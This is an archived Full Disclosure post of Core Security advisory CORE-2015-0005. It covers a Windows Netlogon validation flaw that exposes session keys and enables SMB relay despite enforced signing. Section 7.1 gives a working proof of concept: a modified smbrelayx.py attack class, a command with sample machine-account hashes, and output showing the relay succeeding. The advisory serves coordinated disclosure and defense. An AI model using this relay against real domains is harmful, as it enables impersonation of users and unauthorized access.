[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] [CORE-2015-0005] - Windows Pass-Through Authentication Methods Improper Validation
- To: <bugtraq@xxxxxxxxxxxxxxxxx>, <fulldisclosure@xxxxxxxxxxxx>
- Subject: [FD] [CORE-2015-0005] - Windows Pass-Through Authentication Methods Improper Validation
- From: CORE Advisories Team <advisories@xxxxxxxxxxxxxxxx>
- Date: Tue, 10 Mar 2015 15:09:23 -0300
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
Windows Pass-Through Authentication Methods Improper Validation
1. *Advisory Information*
Title: Windows Pass-Through Authentication Methods Improper Validation
Advisory ID: CORE-2015-0005
Advisory URL:
http://www.coresecurity.com/advisories/windows-pass-through-authentication-methods-improper-validation
Date published: 2015-03-10
Date of last update: 2015-03-10
Vendors contacted: Microsoft
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Permissions, Privileges, and Access Controls [CWE-264], Improper
Authentication [CWE-287]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-0005
3. *Vulnerability Description*
The Microsoft [1] Netlogon Remote Protocol is a remote procedure call
(RPC) interface that is used, among other
things, for user and machine authentication on domain-based networks.
In a scenario where a client machine connects to a domain-joined
server, a pass-through authentication
[2] must be performed in order for the server to verify the client's
Credentials with the domain controller. This logon
request must be delivered to the domain controller over a secure
channel. This secure channel is achieved by encrypting
the server to DC communication using a shared secret, commonly known as
a server's machine account password.
On successful authentication, the domain controller returns the
UserSessionKey back to the server. This key is used for
cryptographic operations on a session. Examples of the use of this key
are generating the keys needed to signing SMB
packets, and the keys needed for encryption/decryption of SMB sessions.
Improper validation between the account used to secure the
communication channel and the logon request data being
sent to the domain controller allows third parties to obtain the
UserSessionKey for communications that were not
meant for them.
At minimum this allows an attacker to:
1) Perform SMB Relay attacks on domain environments where SMB Signing
is enforced (workaround exists).
2) Decrypt SMB3 sniffed communications (PoC not provided).
Other venues of attack should be researched.
4. *Vulnerable Packages*
. Windows Server 2003 Service Pack 2
. Windows Server 2003 x64 Edition Service Pack 2
. Windows Server 2003 with SP2 for Itanium-based Systems
. Windows Server 2008 for 32-bit Systems with Service Pack 2
. Windows Server 2008 for x64-based Systems with Service Pack 2
. Windows Server 2008 for Itanium-based Systems Service Pack 2
. Windows Server 2008 R2 for x64-based Systems Service Pack 1
. Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
. Windows Server 2012
. Windows Server 2012 R2
. Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core
installation)
. Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core
installation)
. Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core
installation)
. Windows Server 2012 (Server Core installation)
. Windows Server 2012 R2 (Server Core installation)
Versions or editions that are not listed are either past their support
life cycle or are not affected.
5. *Vendor Information, Solutions and Workarounds*
Based on Core Security's analysis, SPN validation could be a good
countermeasure, but it depends on the type of
MiTM mounted. It is worth mentioning, this attack only applies on a
domain environment. Standalone servers are not
prone to this type of attack if SMB signing is enabled.
Microsoft posted the following Security Bulletin: [21]
6. *Credits*
This vulnerability was discovered and researched by Alberto Solino from
the Core Engeneering Team. The publication of
this advisory was coordinated by Joaquín Rodríguez Varela from the Core
Advisories Team.
7. *Technical Description / Proof of Concept Code*
Pass-Through Authentication allows a domain-joined server machine to
authenticate a domain user by forwarding the
authentication material to the domain controller aiming at receiving a
confirmation of the validity of those
credentials, among with several information about the account trying to
log in that allows the server machine to
establish a session and serve resources to that user. In order to send
and receive this information (through the
NETLOGON [3] protocol), a secure channel must be established between
the domain-joined server and the domain
controller. This secure channel is built on top of a shared secret
between the server and the DC, commonly known
as a server's machine account password. Actually, the shared secret is
not based on the server's machine account
password but on the output of the LMOWFv1/NTOWFv1 [4] functions (a.k.a
NTLM hashes).
Once this channel is secured, the following NETLOGON methods are used
for a Pass-Through Authentication:
1) NetrLogonSamLogonEx
2) NetrLogonSamLogonWithFlags
3) NetrLogonSamLogon
4) NetrLogonSamLogoff
Let's take for example, the sequence of authenticating through the
network a domain user against a domain-joined
server, using the NTLM authentication package. The domain is called
2012R2:
1) Client MACHINE-A wants to connect to domain-joined WINDOWS81
machine, with user 2012R2\USER3, using NTLM.
2) Client MACHINE-A initiates a connection to WINDOWS81, port 445. NTLM
protocol is chosen as the authentication
mechanism.
3) The NTLM 3-way handshake begins [5]. This ends up with a
NTLM_AUTHENTICATE packet sent by MACHINE-A to WINDOWS81.
4) Since WINDOWS81 doesn't have the credentials for 2012R2\USER3, it
needs to verify them with the DC.
5) WINDOWS81 has a trust relationship with the DC by means of
WINDOWS81's computer account (let's call it
WINDOWS81$). Using the NETLOGON protocol, WINDOWS81 calls
NetrLogonSamLogonWithFlags() at the DC, specifying
all the data coming from USER3's NTLM_AUTHENTICATE plus the NTLM
Challenge set in previous packets. An example of
such call is as follows:
/-----
NetrLogonSamLogonWithFlags
LogonServer: u'\x00'
ComputerName: u'WINDOWS81\x00'
Authenticator:
Credential:
Data: 'f\xcd\x94]&\nz\x85'
Timestamp: 10
ReturnAuthenticator:
Credential:
Data: '\x00\x00\x00\x00\x00\x00\x00\x00'
Timestamp: 0
LogonLevel: NetlogonNetworkTransitiveInformation
LogonInformation:
tag: 6
LogonNetworkTransitive:
Identity:
LogonDomainName: u'2012R2'
ParameterControl: 0
Reserved:
LowPart: 0
HighPart: 0
UserName: u'user3'
Workstation: u''
LmChallenge:
Data: '\x1a\xab8\xa4.E\x98\xe3'
NtChallengeResponse:
'\xd9\x94"\xd1C\xd9CT\xa3\x12\xac(\x97\xb2=\xd4\x01\x01\x00\x00\x00\x00\x00\x00N\x8b\xb3N\x1f\xc6\xcf
\x01?9N\x1a\xe1\x1f\xfa-\x00\x00\x00\x00\x02\x00\x0c\x002\x000\x001\x002\x00R\x002\x00\x01\x00\x12\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001
\x00\x04\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x03\x00.\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001\x00.
\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x05\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N
\x00\x07\x00\x08\x00N\x8b\xb3N\x1f\xc6\xcf\x01\x06\x00\x04\x00\x02\x00\x00\x00\x08\x000\x000\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00
\x00
\x00\xac>qS+\x9a\xb9x\xbe\xa0\xec\xaa\x89475J\xea\xe1x\x83\xe6A]\xdf\x84%ky})\xe5\n\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\t\x00&\x00c\x00i\x00f\x00s\x00/\x001\x009\x002\x00.\x001\x006\x008\x00.\x006\x006\x00.\x002\x004\x003\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00'
LmChallengeResponse:
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
ValidationLevel: NetlogonValidationSamInfo4
ExtraFlags: 0
-----/
6) DC receives the information, and since it has USER3 credentials, it
can verify whether or not the credentials
are valid. NetrLogonSamLogonWithFlags() returns STATUS_SUCCESS if so,
otherwise it return an error.
7) If NetrLogonSamLogonWithFlags() SUCCEEDS, the server returns a
NETLOGON_VALIDATION structure, which could end
up being one of the following structures:
a. NETLOGON_VALIDATION_SAM_INFO [6]
b. NETLOGON_VALIDATION_SAM_INFO2 [7]
c. NETLOGON_VALIDATION_SAM_INFO4 [8]
The data inside those structures are needed by WINDOWS81 to further
continue the session and share resources with USER3.
An example of the data returned by NetrLogonSamLogonWithFlags() is
shown below:
/-----
NetrLogonSamLogonWithFlagsResponse
ReturnAuthenticator:
Credential:
Data: '[\\\x85\xf2\x84@~\x17'
Timestamp: 0
ValidationInformation:
tag: 6
ValidationSam4:
LogonTime:
LowPart: 4069189522
HighPart: 30393876
LogoffTime:
LowPart: 4294967295
HighPart: 2147483647
KickOffTime:
LowPart: 4294967295
HighPart: 2147483647
PasswordLastSet:
LowPart: 738500373
HighPart: 30393272
PasswordCanChange:
LowPart: 1450073877
HighPart: 30393473
PasswordMustChange:
LowPart: 4294967295
HighPart: 2147483647
EffectiveName: u'user3'
FullName: NULL
LogonScript: NULL
ProfilePath: NULL
HomeDirectory: NULL
HomeDirectoryDrive: NULL
LogonCount: 5
BadPasswordCount: 0
UserId: 1113
PrimaryGroupId: 513
GroupCount: 2
GroupIds:
[
RelativeId: 512
Attributes: 7 ,
RelativeId: 513
Attributes: 7 ,
]
UserFlags: 2336
UserSessionKey:
Data:
'\xb1\x8eg\x91\xfdK\x9d\xd0\x12\x8b\x9f\x9e\x8e\x19\xe9"'
LogonServer: u'2012R2DOMAIN-DC'
LogonDomainName: u'2012R2'
LogonDomainId:
Revision: 1
SubAuthorityCount: 4
IdentifierAuthority: '\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
1456083388,
2901136423,
1501488623,
]
LMKey: '\xb1\x8eg\x91\xfdK\x9d\xd0'
UserAccountControl: 528
SubAuthStatus: 0
LastSuccessfulILogon:
LowPart: 0
HighPart: 0
LastFailedILogon:
LowPart: 0
HighPart: 0
FailedILogonCount: 0
Reserved4: 0
SidCount: 1
ExtraSids:
[
Sid:
Revision: 1
SubAuthorityCount: 5
IdentifierAuthority:
'\x00\x00\x00\x00\x00\x05'
SubAuthority:
[
21,
1456083388,
2901136423,
1501488623,
572,
]
Attributes: 536870919 ,
]
DnsLogonDomainName: u'2012R2.DOMAIN'
Upn: u'user3@2012R2.DOMAIN'
ExpansionString1: NULL
ExpansionString2: NULL
ExpansionString3: NULL
ExpansionString4: NULL
ExpansionString5: NULL
ExpansionString6: NULL
ExpansionString7: NULL
ExpansionString8: NULL
ExpansionString9: NULL
ExpansionString10: NULL
Authoritative: 1
ExtraFlags: 0
ErrorCode: 0
-----/
As can be seen, there's a field called UserSessionKey. According to [9]:
The NETLOGON_NETWORK_INFO and NETLOGON_VALIDATION_SAM_INFO4 data
structures SHOULD be exchanged ([MS-NRPC] sections
2.2.1.4.5 and 2.2.1.4.13). The DC MUST populate the
NETLOGON_VALIDATION_SAM_INFO4 with the information for the user
logging on and return the SessionBaseKey ([MS-NLMP] section 3.3.1 and
3.3.2) in the UserSessionKey field in
NETLOGON_VALIDATION_SAM_INFO4, and MUST send it back to the NTLM
server. If no matching account is found, an error
STATUS_NO_SUCH_USER (section 2.2) MUST be returned to the NTLM server,
resulting in a logon failure.'
This SessionBaseKey is used as a base key for cryptographic operations
between the client and server machine.
Since the calculation of this key requires knowing the user's
LMOWFv1/NTOWFv1, it makes sense the domain controller
returning this data, since WINDOWS81 doesn't have the user's
credentials.
The SessionBaseKey is used, at least, to calculate the SMB Signing [10]
and Encryption [11] keys.
Up to this stage, this is the normal behavior when a server needs to
authenticate a client with domain credentials.
Based on [13] the NetrLogonSamLogonWithFlags's ComputerName parameter
is defined as 'The Unicode string that
contains the NetBIOS name of the client computer calling this method.'
In theory, the ComputerName parameter and
the machine account that established the NETLOGON session should be the
same (except for the '$' sign).
What we found while implementing the NETLOGON protocol [12] is the
domain controller not verifying whether the
authentication information being sent, was actually meant to the
domain-joined machine that is requesting
this operation (e.g. NetrLogonSamLogonWithFlags()).
What this means is that any domain-joined machine can verify any
pass-through authentication against the domain
controller, and to get the base key for cryptographic operations for
any session within the domain.
As a proof of concept we developed the SMB Relay attack whenever SMB
Signing is enforced within the domain.
SMB Relay (actually NTLM Relay) has been well documented over the
years, but in essence allows an attacker
that manages to sit in the middle between a victim and a target server
to impersonate the victim against the
target server.
One of the mitigations mentioned on several papers is the
implementation of SMB Signing [14][15], since, in
order to calculate the signing key, the attacker needs to have the
user's password OWF (LMOWFv1 and/or NTOWFv1).
To carry out this attack, we would need a machine account password (or
NTLM hash) in order to interact
with the domain controller through NETLOGON. Getting a machine account
credential is not a complicated
task if an attacker has either:
1) Local Administrative access to one domain joined machine (several
tools can dump the local SAM accounts [16]).
2) A normal domain user (so it can perform a fake domain join).
The high level flow would be as follows:
Assumptions:
1) We have a machine account's LMOWFv1/NTOWFv1 hashes (called
MACHINE-ACCOUNT hashes).
2) We know the DC IP address or FQDN (called DC-MACHINE).
3) We targeted a victim user (called USER-A), tricking him into
connecting to our machine
(ATTACKER-MACHINE) with his domain credentials.
4) We want to authenticate ourselves with the USER-A credentials
against a target machine (called TARGET-MACHINE).
5) This domain environment enforces SMB Signing.
The packet's flow would be like this:
1) USER-A connects to ATTACKER-MACHINE, starts an SMB Connection.
2) ATTACKER-MACHINE connects to TARGET-MACHINE, starts an SMB
Connection, and gets TARGET-MACHINE
SMB_COM_NEGOTITATE response.
3) ATTACKER-MACHINE forwards the SMB_COM_NEGOTIATE packet back to
USER-A.
4) USER-A starts the SMB_SESSION_SETUP_ANDX procedure, sending the
NTLM_NEGOTIATE packet.
5) ATTACKER-MACHINE forwards the NTLM_NEGOTIATE packet to
TARGET-MACHINE, and receives a NTLM_CHALLENGE.
6) ATTACKER-MACHINE forwards the NTLM_CHALLENGE back to USER-A.
7) USER-A sends a NTLM_AUTHENTICATE message to ATTACKER-MACHINE.
8) ATTACKER-MACHINE forwards the NTLM_AUTHENTICATE message to
TARGET-MACHINE. If the answer is
STATUS_SUCCESS, it means the credentials are valid.
Up to here, this is a normal SMB Relay attack. The following steps are
performed in order to acquire
the SMB Signing key
9) ATTACKER-MACHINE connects to DC-MACHINE NETLOGON's protocol,
authenticating itself using
MACHINE-ACCOUNT hashes.
10) ATTACKER-MACHINE calls NETLOGON's NetrLogonSamLogonWithFlags()
specifying the following information:
a. ComputerName: TARGET-MACHINE
b. ValidationLevel:
NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
c. LogonLevel:
NETLOGON_VALIDATION_INFO_CLASS.NetlogonNetworkTransitiveInformation
d. LogonNetworkTransitive/Identity/LogonDomainName: The domainname
e. LogonNetworkTransitive/Identity/ParameterControl: 0
f. LogonNetworkTransitive/Identity/UserName: USER-A
g. LogonNetworkTransitive/Identity/Workstation: ''
h. LogonNetworkTransitive/Identity/LmChallenge: The challenge field of
the NTLM_CHALLENGE structure.
i. LogonNetworkTransitive/Identity/NtChallengeResponse: the
NtChallengeResponse from the NTLM_AUTHENTICATE structure.
j. LogonNetworkTransitive/Identity/LmChallengeResponse: the
LmChallengeResponse from the NTLM_AUTHENTICATE structure.
11) The return of this call will contain a
NETLOGON_VALIDATION_SAM_INFO4 structure, that contains, among other
things, the UserSessionKey. Depending on the negotiation flags, this
could be the straight SMB Signing key, or
an extra transformation should be made (calling
generateEncryptedSessionKey()).
12) Attacker now has a valid connection with TARGET-MACHINE,
authenticated as USER-A, and now has the
SMB Signing key needed to perform further SMB commands against
TARGET-MACHINE.
7.1. *Proof of Concept*
In order to test this attack the following infrastructure is needed:
1) A domain controller, exporting the SYSVOL share to normal users
(this is just for the PoC).
Domain Name: TESTDOMAIN, Domain IP: 192.168.1.100.
2) A domain joined machine, acting as the victim machine. A domain user
must be logged on that machine.
(IP: 192.168.1.220)
3) An attackers machine, doesn't need to be joined to the domain. Since
we will be performing the attack from this
machine, we will need to bind to TCP port 445. Using a Unix machine
would be the easiest way since on Windows this
is harder. Attacker's Machine IP: 192.168.1.200
4) A valid machine account name and NTLM hashes. Assuming it is:
a. account name: TEST-MACHINE$
b. NTHASH/LMHASH:
aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db
The machine NTLM hashes can be obtained by using any publicly available
LSA secrets dump application.[10]
5) The smbrelayx.py script [17] and the impacket library installed [18].
6) Change smbrelayx.py doAttack() class to the following:
/-----
class doAttack(Thread):
def __init__(self, SMBClient, exeFile):
Thread.__init__(self)
self.SMBClient = SMBClient
def run(self):
# Here PUT YOUR CODE!
from impacket.smbconnection import SMBConnection
smbConnection = SMBConnection(existingConnection=self.SMBClient)
files = smbConnection.listPath('SYSVOL','\\*')
print "EVIDENCE: SYSVOL's contents!"
for file in files:
print file.get_longname()
smbConnection.logoff()
-----/
Usage:
From the attackers machine run:
/-----
python smbrelayx.py -h 192.168.1.100 -e NOTHING -machine-account
TESTDOMAIN/TEST-MACHINE\$ -machine-hashes
aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db -domain
192.168.1.100
-----/
From the victim's machine, with a valid domain user logged in, run from
the command prompt:
/-----
dir \\192.168.1.200\c$
-----/
At the smbrelayx.py execution, you will see:
/-----
Impacket v0.9.12 - Copyright 2002-2014 Core Security Technologies
[*] Running in relay mode
[*] Config file parsed
[*] Setting up SMB Server
[*] Servers started, waiting for connections
[*] Incoming connection (192.168.1.220,58702)
[*] SMBD: Received connection from 192.168.1.220, attacking target
192.168.1.100
[*] Signature is REQUIRED on the other end, using NETLOGON approach
[*] Connecting to 192.168.1.100 NETLOGON service
[*] TESTDOMAIN\usera successfully validated through NETLOGON
[*] SMB Signing key: 3b8aa5a6cde5175acf676ba312b62404
[*] Authenticating against 192.168.1.100 as TESTDOMAIN\usera SUCCEED
[!] TreeConnectAndX not found C$
[!] TreeConnectAndX not found C$
EVIDENCE: SYSVOL's contents!
.
..
TESTDOMAIN
----
-----/
If you want to perform more actions instead of just listing the SYSVOL
contents, check the doAttack.run() method
inside smbrelayx.py
8. *Report Timeline*
. 2014-05-27:
Core Security sent the first notification to Microsoft, including a
technical description
and a Proof of Concept to reproduce the vulnerability. Publication date
set to Jun 30, 2014.
. 2014-05-27:
Microsoft assigns the tracking number 19179 and informs their team will
be investigating
our report.
. 2014-06-25:
Core Security requested an update on the investigations and expressed
we are still planning to release the
advisory on June 30th.
. 2014-07-03:
Core Security requested an update on the investigations and expressed
we decided to postpone the release date
from June 30th to July 10th giving additional time to reply back.
. 2014-07-07:
Microsoft claims the issue has been publicly know since 2009 and the
advisories
[19] and [20].
. 2014-07-09:
Microsoft informs that took another look to the issue and thinks there
may be a bigger
problem than just the NTLM as they previously stated. Requests to hold
off the publishing
of the advisory.
. 2014-07-15:
Core Security insists that SMB Signing is not an effective way of
mitigating this problem as
demonstrated in the PoC sent in the original report. We inform we
decided not to publish a
advisory but we will write a blog post with the technical description.
. 2014-07-24:
Core Security informed that we will publish the blog and related tools
on August 4th, considering we didn't
receive a reply.
. 2014-07-28:
Microsoft informs they were able to reproduce the issue and are working
on a fix. They request
if possible to hold off CORE Security's publication.
. 2014-08-12:
Core Security, considering their acknowledgment of the issue, will be
publishing an advisory. Core Security
requested a tentative ETA for making the advisory public.
. 2014-08-18:
Microsoft informs they don't have an ETA but are working to define one.
Microsoft request a draft of
the advisory.
. 2014-08-20:
Core Security informed Microsoft that will be sending them a draft copy
of the Advisory next week.
. 2014-09-11:
Core Security sent a draf version of the advisory.
. 2014-09-23:
Core Security requested a reception confirmation of the draft version
of the advisory.
. 2014-09-24:
Microsoft confirms reception. They inform they are tentatively
scheduling a December release.
. 2014-10-23:
Core Security requested the specific date for releasing the fix in
order to schedule the advisory
accordingly.
. 2014-11-03:
Microsoft informs that they are planning a January release but it could
change if they find
variants or run into issues on their test pass.
. 2014-11-05:
Core Security requested the vendor that we would like to respect the
original release date considering
that the issue was originally reported on the 27 of May, 2014.
. 2014-11-10:
Microsoft informs that they are expecting to ship the fix in January
because they have other
deployment priorities.
. 2014-12-16:
Core Security requested the vendor a specific date for the release of
the fix and we inform them that
we are planning to release the advisory on Tuesday 13th of January,
2015.
. 2015-01-02:
Microsoft informs that they are not going to meet the expectations for
a fix in January because
they require to fix the NETLOGON API, and during its application
compatibility testing they
identified a major service provider that is affected by their fix.
. 2015-02-24:
Core Security requested the vendor an updated time frame for publishing
the fix of the bug.
. 2015-02-27:
Microsoft informs that they currently finalizing the final test pass
and that they should have a
concrete date for next week. At the moment they have it scheduled for
March 10th, 2015. They
request as well how we would lke to be credited in the Bulletin.
. 2015-03-02:
Core Security informed them how we would like to be credited and
requested them a daft copy of their
Bulletin and a copy of the fix in order to make internal tests.
. 2015-03-02:
Microsoft informs us that they cannot share packages early unless we
are under NDA with them and
in the SUVP program.
. 2015-03-03:
Core Security informed them that we were disappointed by their response
considering that we have been
cooperating with them for more than 9 months and have disclosed higly
confidential information
with them. We informed them that we are going to publish the advisory
on March 10th.
. 2015-03-09:
Microsoft confirmed us that their Security Bulletin was going to be
published March 10th, 10:00 AM EST.
They requested Core Security to ckeck the acknowledgment they were
going to use.
. 2015-03-09:
Core Security thanked Microsoft for the information provided and
informed them how the Advisory should be
acknowledged. Core Security requested Microsoft a CVE ID, considering
they are listed as a CVE Numbering
Authority. Core Security sent them the link of were our advisory is
going to be published.
. 2015-03-09:
Microsoft issued the CVE-2015-0005 and ask Core Security if we wanted
them to link our Advisory in their
acknowledgment.
. 2015-03-09:
Core Security requested, that if possible, they could link our advisory
in the acknowledgment.
. 2015-03-10:
Advisory CORE-2015-0005 published.
9. *References*
[1] http://www.microsoft.com/.
[2] http://msdn.microsoft.com/en-us/library/cc237015.aspx.
[3] http://msdn.microsoft.com/en-us/library/cc237008.aspx.
[4] http://msdn.microsoft.com/en-us/library/gg604667.aspx.
[5] http://msdn.microsoft.com/en-us/library/cc236629.aspx.
[6] http://msdn.microsoft.com/es-co/cc237066.
[7] http://msdn.microsoft.com/es-co/cc237067.
[8] http://msdn.microsoft.com/en-us/library/cc237068.aspx.
[9] http://msdn.microsoft.com/en-us/library/cc223986.aspx.
[10] http://msdn.microsoft.com/en-us/library/cc246684.aspx.
[11] http://msdn.microsoft.com/en-us/library/ee441770.aspx.
[12]
https://code.google.com/p/impacket/source/browse/tags/impacket_0_9_12/impacket/dcerpc/v5/nrpc.py.
[13] https://msdn.microsoft.com/en-us/library/cc237250.aspx.
[14]
http://blogs.technet.com/b/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx.
[15] http://technet.microsoft.com/en-us/library/cc512612.aspx.
[16]
https://code.google.com/p/impacket/source/browse/tags/impacket_0_9_12/examples/secretsdump.py.
[17]
https://code.google.com/p/impacket/source/browse/trunk/examples/smbrelayx.py.
[18] https://code.google.com/p/impacket/.
[19] https://technet.microsoft.com/en-us/library/security/974926.aspx.
[20] https://technet.microsoft.com/en-us/library/security/973811.aspx.
[21] https://technet.microsoft.com/en-us/library/security/ms15-027.aspx.
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
12. *Disclaimer*
The contents of this advisory are copyright
(c) 2015 Core Security and (c) 2015 CoreLabs,
and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/